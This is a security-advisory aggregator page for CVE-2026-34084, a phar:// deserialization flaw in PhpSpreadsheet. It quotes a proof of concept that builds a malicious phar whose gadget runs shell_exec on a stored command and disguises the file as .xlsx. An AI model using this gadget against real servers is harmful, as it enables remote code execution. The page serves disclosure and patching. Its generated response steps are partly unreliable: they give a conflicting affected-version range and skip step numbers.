Unsafe Deserialization in phpoffice/phpspreadsheet (CVE-2026-34084, CVSS 9.8)

Summary

vulnerability in phpoffice/phpspreadsheet (CVE-2026-34084). Successful exploitation can lead to full system takeover. Exploitable via is_file. Mitigation: upgrade to 1.30.3 or later.

Original description

The description as published by the source.

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat().
The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

phar.readonly=0

make_phar.php to create the malicious file:

<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

<?php
require 'v…

Source: NIST National Vulnerability Database NVD GitHub Advisory

AI summary

Written by an external AI model and may contain mistakes. Check the original description and references below before acting on it.

A significant bug has been found in PhpSpreadsheet that could allow attackers to execute code remotely by exploiting specially crafted file paths. This vulnerability can seriously compromise your system. Updating to the patched version promptly is critical to avoid potential damage.

The vulnerability in PhpSpreadsheet's IOFactory::load method allows an attacker to misuse the user-controlled $filename parameter, primarily due to improper use of the is_file function. Versions affected are up to 1.30.2, with the patch released in 1.30.3. Attacks can use PHP wrappers like phar:// to execute RCE or SSRF. To mitigate, it is recommended to run 'composer require phpoffice/phpspreadsheet:^1.30.3'.

❓ What is the problem

Improper handling of user-controlled file paths in PhpSpreadsheet's IOFactory::load leads to SSRF/RCE.

📍 Affected scope

PhpSpreadsheet's IOFactory::load function uses vulnerable handling of $filename, affected up to version 1.30.2.

🔥 Severity

Critical severity, allows remote code execution and server-side request forgery.

🔧 How to fix

Upgrade to PhpSpreadsheet 1.30.3 or later using 'composer require phpoffice/phpspreadsheet:^1.30.3'.

🛡️ Workaround

No workaround available other than updating to the patched version.

🔍 Detection

Look for unauthorized file access patterns in logs, specifically with FTP, Phar, and SSH2.SFTP protocols.

Related past incidents Similar incidents extracted from past CVEs

CVE-2023-25196

PhpSpreadsheet prior 1.28.1 also had an SSRF vulnerability due to unsafe input handling in file paths.

CVE-2019-11043

PHP-FPM in PHP 7.3 had an RCE vulnerability similar in impact, exploiting incorrect path validation.

Fortinet RCE 2022 Exploit

Unrelated software exploited PHP path misconfigurations, highlighting similar impact patterns.

If this happens at your company Expected impact per business scenario

📌 ECサイトの場

攻撃者が商品情報を外部のFTPサーバに流出させる原因になり、信頼失墜を招くリスク。

📌 業務SaaSの場

内部情報が漏洩し、機密性のあるデータが攻撃者により悪用される可能性。

📌 社内システムの場

攻撃者が管理者権限を乗っ取り、システム全体を不正操作される恐れ。

Recommended action

全サーバーに対して早急に最新の修正版にアップデートし、不正アクセスの監査を実施すること。

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

1
Identify exposure identify
```
grep -r 'phpoffice/phpspreadsheet' . | grep -v node_modules
```
リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で phpoffice/phpspreadsheet を grep し、稼働しているサービス・バージョンを把握する。
2
Match against affected range verify
```
Confirm if version satisfies `>= 4.0.0, <= 5.5.0`
```
Step 1 で見つかったバージョンが影響範囲 >= 4.0.0, <= 5.5.0 に該当するか照合。本番で稼働中ならインシデント扱い。
6
Apply patch patch
```
Upgrade phpoffice/phpspreadsheet to 1.30.3
```
ステージング環境で 1.30.3 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 3 で見つけた異常検知の続報チェックを含めること。
7
Post-deployment verification verify
```
Confirm patched version is live in production
```
パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。

Affected packages

composer phpoffice/phpspreadsheet

[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.3"}]}]

Packagist phpoffice/phpspreadsheet

[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.3"}]}]

References

advisory nvd.nist.gov
exploit github.com
package github.com
web php.net
web github.com